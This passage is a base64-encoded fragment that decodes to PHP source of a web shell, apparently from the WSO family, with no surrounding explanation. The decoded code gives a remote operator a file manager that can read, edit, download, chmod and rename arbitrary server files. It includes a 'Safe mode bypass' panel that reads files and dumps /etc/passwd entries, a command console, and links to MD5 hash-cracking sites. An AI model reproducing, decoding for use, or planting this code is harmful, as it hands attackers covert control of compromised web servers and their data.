Imhhc2hjcmFja2luZy5pbmZvIiBvbmNsaWNrPSJkb2N1bWVudC 5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLmluZm8v aW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+DQogIA 0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFs dWU9Im1kNS5yZWRub2l6ZS5jb20iIG9uY2xpY2s9ImRvY3VtZW 50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20v P3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2 RvY3VtZW50LmhmLnN1Ym1pdCgpIj4NCiAgDQogICAgICAgICAg ICA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ibWQ1ZGVjcn lwdGVyLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9u PSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bW VudC5oZi5zdWJtaXQoKSI+DQogIA0KICAgICAgICA8L2Zvcm0+ IA0KICAgIDwvZGl2PiANCiAgICA8P3BocCANCiAgICBwcmludE Zvb3RlcigpOyANCn0gDQogDQpmdW5jdGlvbiBhY3Rpb25GaWxl c1Rvb2xzKCkgeyANCiAgICBpZiggaXNzZXQoJF9QT1NUWydwMS ddKSApIA0KICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNv ZGUoJF9QT1NUWydwMSddKTsgDQogICAgaWYoQCRfUE9TVFsncD InXT09J2Rvd25sb2FkJykgeyANCiAgICAgICAgaWYoaXNfZmls ZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVF sncDEnXSkpIHsgDQogICAgICAgICAgICBvYl9zdGFydCgib2Jf Z3poYW5kbGVyIiwgNDA5Nik7IA0KICAgICAgICAgICAgaGVhZG VyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBm aWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOyANCi AgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVf Y29udGVudF90eXBlIikpIHsgDQogICAgICAgICAgICAgICAgJH R5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSdd KTsgDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LV R5cGU6ICIuJHR5cGUpOyANCiAgICAgICAgICAgIH0gDQogICAg ICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAici IpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAg ICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkgDQogICAgICAgIC AgICAgICAgICAgIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7IA0K ICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgIC AgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKGlzX2RpcigkX1BP U1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXS kpIHsgDQogDQogICAgICAgIH0gDQogICAgICAgIGV4aXQ7IA0K ICAgIH0gDQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZm lsZScgKSB7IA0KICAgICAgICBpZighZmlsZV9leGlzdHMoJF9Q T1NUWydwMSddKSkgeyANCiAgICAgICAgICAgICRmcCA9IEBmb3 BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7IA0KICAgICAgICAgICAg aWYoJGZwKSB7IA0KICAgICAgICAgICAgICAgICRfUE9TVFsncD InXSA9ICJlZGl0IjsgDQogICAgICAgICAgICAgICAgZmNsb3Nl KCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCi AgICB9IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgIGVjaG8g JzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbn Q+JzsgDQogICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydw MSddKSApIHsgDQogICAgICAgIGVjaG8gJ0ZpbGUgbm90IGV4aX N0cyc7IA0KICAgICAgICBwcmludEZvb3RlcigpOyANCiAgICAg ICAgcmV0dXJuOyANCiAgICB9IA0KICAgICR1aWQgPSBAcG9zaX hfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsg DQogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZW93bm VyKCRfUE9TVFsncDEnXSkpOyANCiAgICBlY2hvICc8c3Bhbj5O YW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVF sncDEnXSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmls ZSgkX1BPU1RbJ3AxJ10pP3ZpZXdTaXplKGZpbGVzaXplKCRfUE 9TVFsncDEnXSkpOictJykuJyA8c3Bhbj5QZXJtaXNzaW9uOjwv c3Bhbj4gJy52aWV3UGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLi cgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25h bWUnXS4nLycuJGdpZFsnbmFtZSddLicNCic7IA0KICAgIGVjaG 8gJzxzcGFuPkNyZWF0ZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZ LW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLi cgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1kt bS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJy A8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1t LWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nDQ ogDQonOyANCiAgICBpZiggZW1wdHkoJF9QT1NUWydwMiddKSAp IA0KICAgICAgICAkX1BPU1RbJ3AyJ10gPSAndmlldyc7IA0KIC AgIGlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKSANCiAgICAg ICAgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG 93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywg J1JlbmFtZScsICdUb3VjaCcpOyANCiAgICBlbHNlDQogICAgIC AgICRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3Vj aCcpOyANCiAgICBmb3JlYWNoKCRtIGFzICR2KSANCiAgICAgIC AgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxs LG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdH J0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsgDQogIC AgZWNobyAnDQogDQonOyANCiAgICBzd2l0Y2goJF9QT1NUWydw MiddKSB7IA0KICAgICAgICBjYXNlICd2aWV3JzogDQogICAgIC AgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nOyANCiAgICAg ICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJy k7IA0KICAgICAgICAgICAgaWYoJGZwKSB7IA0KICAgICAgICAg ICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApIA0KICAgICAgIC AgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZy ZWFkKCRmcCwgMTAyNCkpOyANCiAgICAgICAgICAgICAgICBAZm Nsb3NlKCRmcCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAg ICAgIGVjaG8gJzwvcHJlPic7IA0KICAgICAgICAgICAgYnJlYW s7IA0KICAgICAgICBjYXNlICdoaWdobGlnaHQnOiANCiAgICAg ICAgICAgIGlmKCBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pIC kgeyANCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNz PW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMT tjb2xvcjpibGFjazsiPic7IA0KICAgICAgICAgICAgICAgICRj b2RlID0gaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLHRydW UpOyANCiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNl KGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm 9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOyANCiAg ICAgICAgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogIC AgICAgIGNhc2UgJ2NobW9kJzogDQogICAgICAgICAgICBpZigg IWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgIC AgICAgICRwZXJtcyA9IDA7IA0KICAgICAgICAgICAgICAgIGZv cigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJG kpIA0KICAgICAgICAgICAgICAgICAgICAkcGVybXMgKz0gKGlu dCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE 9TVFsncDMnXSktJGktMSkpOyANCiAgICAgICAgICAgICAgICBp ZighQGNobW9kKCRfUE9TVFsncDEnXSwgJHBlcm1zKSkgDQogIC AgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVy bWlzc2lvbnMhDQo8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbH VlPSIiOzwvc2NyaXB0Pic7IA0KICAgICAgICAgICAgICAgIGVs c2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0Pm cobnVsbCxudWxsLG51bGwsbnVsbCwiIik8L3NjcmlwdD4nKTsg DQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPG Zvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0 aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdX QgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3Ry KHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXS kpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+ Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogIC AgICAgIGNhc2UgJ2VkaXQnOiANCiAgICAgICAgICAgIGlmKCAh aXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgeyANCiAgICAgIC AgICAgICAgICBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUn OyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICB9IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1Rb J3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICBAZmlsZV9wdX RfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7 IA0KICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkIQ0KPHNjcm lwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4n OyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvIC c8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxs LHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleH RhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7IA0KICAg ICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3 InKTsgDQogICAgICAgICAgICBpZigkZnApIHsgDQogICAgICAg ICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkgDQogICAgIC AgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhA ZnJlYWQoJGZwLCAxMDI0KSk7IA0KICAgICAgICAgICAgICAgIE BmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAg ICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdW JtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgICAgICAg ICBicmVhazsgDQogICAgICAgIGNhc2UgJ2hleGR1bXAnOiANCi AgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRf UE9TVFsncDEnXSk7IA0KICAgICAgICAgICAgJG4gPSAwOyANCi AgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwDQonLCcn LCcnKTsgDQogICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKT sgDQogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsr JGkpIHsgDQogICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW 50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsgDQogICAgICAg ICAgICAgICAgc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7IA0KIC AgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAn ICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZS A5OiAgJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAg ICAgICAgICAgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYW s7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsy XSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgIC AgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsgDQog ICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkbi srOyANCiAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsg DQogICAgICAgICAgICAgICAgICAgICRuID0gMDsgDQogICAgIC AgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBd IC49IHNwcmludGYoJyUwOFgnLCRpKzEpLicNCic7fSANCiAgIC AgICAgICAgICAgICAgICAgJGhbMV0gLj0gJw0KJzsgDQogICAg ICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7IA0KICAgIC AgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAg ICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbG xwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdj b2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodD ogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+ PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS 4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+ Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD 48L3RyPjwvdGFibGU+JzsgDQogICAgICAgICAgICBicmVhazsg DQogICAgICAgIGNhc2UgJ3JlbmFtZSc6IA0KICAgICAgICAgIC AgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyANCiAgICAg ICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sIC RfUE9TVFsncDMnXSkpIA0KICAgICAgICAgICAgICAgICAgICBl Y2hvICdDYW5cJ3QgcmVuYW1lIQ0KPHNjcmlwdD5kb2N1bWVudC 5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAg ICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgIGRpZS gnPHNjcmlwdD5nKG51bGwsbnVsbCwiJy51cmxlbmNvZGUoJF9Q T1NUWydwMyddKS4nIixudWxsLCIiKTwvc2NyaXB0PicpOyANCi AgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8Zm9y bSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaX MubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5 cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYW xjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1 Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyANCiAgICAgICAgIC AgIGJyZWFrOyANCiAgICAgICAgY2FzZSAndG91Y2gnOiANCiAg ICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIH sgDQogICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUo JF9QT1NUWydwMyddKTsgDQogICAgICAgICAgICAgICAgaWYoJH RpbWUpIHsgDQogICAgICAgICAgICAgICAgICAgIGlmKEB0b3Vj aCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKSANCiAgICAgIC AgICAgICAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5nKG51bGws bnVsbCxudWxsLG51bGwsIiIpPC9zY3JpcHQ+Jyk7IA0KICAgIC AgICAgICAgICAgICAgICBlbHNlIHsgDQogICAgICAgICAgICAg ICAgICAgICAgICBlY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbn QubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsgDQogICAgICAg ICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSBlbH NlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCE8c2NyaXB0PmRvY3Vt ZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7IA0KICAgIC AgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9u c3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50b3 VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9 dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIE g6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48 aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jz sgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2Ug J21rZmlsZSc6IA0KICAgICAgICAgICAgICANCiAgICAgICAgIC AgIGJyZWFrOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7 IA0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCiANCmZ1bmN0aW 9uIGFjdGlvblNhZmVNb2RlKCkgeyANCiAgICAkdGVtcD0nJzsg DQogICAgb2Jfc3RhcnQoKTsgDQogICAgc3dpdGNoKCRfUE9TVF sncDEnXSkgeyANCiAgICAgICAgY2FzZSAxOiANCiAgICAgICAg ICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsgDQogIC AgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIu JF9QT1NUWydwMiddLCAkdGVtcCkpeyANCiAgICAgICAgICAgIC AgICBlY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7IA0K ICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7IA0KICAgIC AgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAn U29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7IA0KICAgICAgIC AgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDI6IA0KICAgICAg ICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKT sgDQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJGZpbGVzKSAp IA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcy AkZmlsZW5hbWUpIA0KICAgICAgICAgICAgICAgICAgICBlY2hv ICRmaWxlbmFtZS4iXG4iOyANCiAgICAgICAgICAgIGJyZWFrOy ANCiAgICAgICAgY2FzZSAzOiANCiAgICAgICAgICAgICRjaCA9 IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceD AwIi5TRUxGX1BBVEgpOyANCiAgICAgICAgICAgIGN1cmxfZXhl YygkY2gpOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgIC AgY2FzZSA0OiANCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJz YWZlX21vZGUiKTsgDQogICAgICAgICAgICBpbmlfcmVzdG9yZS gib3Blbl9iYXNlZGlyIik7IA0KICAgICAgICAgICAgaW5jbHVk ZSgkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgIGJyZWFrOy ANCiAgICAgICAgY2FzZSA1OiANCiAgICAgICAgICAgIGZvcig7 JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3 AyJ10rKykgeyANCiAgICAgICAgICAgICAgICAkdWlkID0gQHBv c2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7IA0KICAgICAgIC AgICAgICAgIGlmICgkdWlkKSANCiAgICAgICAgICAgICAgICAg ICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOyANCiAgICAgIC AgICAgIH0gDQogICAgICAgICAgICBicmVhazsgDQogICAgICAg IGNhc2UgNjogDQogICAgICAgICAgICBpZighZnVuY3Rpb25fZX hpc3RzKCdpbWFwX29wZW4nKSlicmVhazsgDQogICAgICAgICAg ICAkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIi IsICIiKTsgDQogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBG QUxTRSkgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgIC AgICAgICAgZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7IA0K ICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsgDQogIC AgICAgICAgICBicmVhazsgDQogICAgfSANCiAgICAkdGVtcCA9 IG9iX2dldF9jbGVhbigpOyANCiAgICBwcmludEhlYWRlcigpOy ANCiAgICBlY2hvICc8aDE+U2FmZSBtb2RlIGJ5cGFzczwvaDE+ PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGVjaG8gJzxzcG FuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJt aXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZS k7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFt ZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij 48L2Zvcm0+DQo8c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+ PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy 5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0 eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaX QgdmFsdWU9Ij4+Ij48L2Zvcm0+DQo8c3Bhbj5DdXJsIChyZWFk IGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG 51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxz ZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucH V0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPg0KPHNw YW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm 0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJh bS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPX RleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFs dWU9Ij4+Ij48L2Zvcm0+DQo8c3Bhbj5Qb3NpeF9nZXRwd3VpZC AoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZv cm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYX JhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBm YWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdH lwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3Ry Pjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG 5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFi bGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3 JtPg0KIA0KPHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9z cGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLH RoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5w dXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3 VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgIGlmKCR0 ZW1wKSANCiAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWwxIi BzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicu JHRlbXAuJzwvcHJlPic7IA0KICAgIGVjaG8gJzwvZGl2Pic7IA 0KICAgIHByaW50Rm9vdGVyKCk7IA0KfSANCiANCmZ1bmN0aW9u IGFjdGlvbkNvbnNvbGUoKSB7IA0KICAgIGlmKGlzc2V0KCRfUE 9TVFsnYWpheCddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21k NSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cn VlOyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGVj aG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7IA0KIC AgICAgICAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQn XSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVF sncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxc J1wwIikpOyANCiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2 RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSAg ICB7IA0KICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXS kpIHsgDQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCdd ID0gQGdldGN3ZCgpOyANCiAgICAgICAgICAgICAgICBlY2hvIC Jkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2Qn XS4iJzsiOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQ ogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1 ZSs9JyIuJHRlbXAuIic7IjsgDQogICAgICAgIGVjaG8gImRvY3 VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5j Zi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7IA0KICAgICAgICAkdG VtcCA9IG9iX2dldF9jbGVhbigpOyANCiAgICAgICAgZWNobyBz dHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsgDQogICAgICAgIG V4aXQ7IA0KICAgIH0gDQogICAgcHJpbnRIZWFkZXIoKTsgDQo/PiANCjxzY3JpcHQ+IA0KaWYod2luZG93LkV2ZW50KSB3aW5kb3 cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsgDQp2YXIg Y21kcyA9IG5ldyBBcnJheSgiIik7IA0KdmFyIGN1ciA9IDA7IA 0KZnVuY3Rpb24ga3AoZSkgeyANCiAgICB2YXIgbiA9ICh3aW5k b3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsgDQogIC AgaWYobiA9PSAzOCkgeyANCiAgICAgICAgY3VyLS07IA0KICAg ICAgICBpZihjdXI+PTApIA0KICAgICAgICAgICAgZG9jdW1lbn QuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOyANCiAgICAgICAg ZWxzZQ0KICAgICAgICAgICAgY3VyKys7IA0KICAgIH0gZWxzZS BpZihuID09IDQwKSB7IA0KICAgICAgICBjdXIrKzsgDQogICAg ICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKSANCiAgICAgICAgIC AgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsg DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGN1ci0tOyANCi AgICB9IA0KfSANCmZ1bmN0aW9uIGFkZChjbWQpIHsgDQogICAg Y21kcy5wb3AoKTsgDQogICAgY21kcy5wdXNoKGNtZCk7IA0KIC AgIGNtZHMucHVzaCgiIik7IA0KICAgIGN1ciA9IGNtZHMubGVu Z3RoLTE7IA0KfSANCjwvc2NyaXB0PiANCjw/cGhwIA0KICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IG 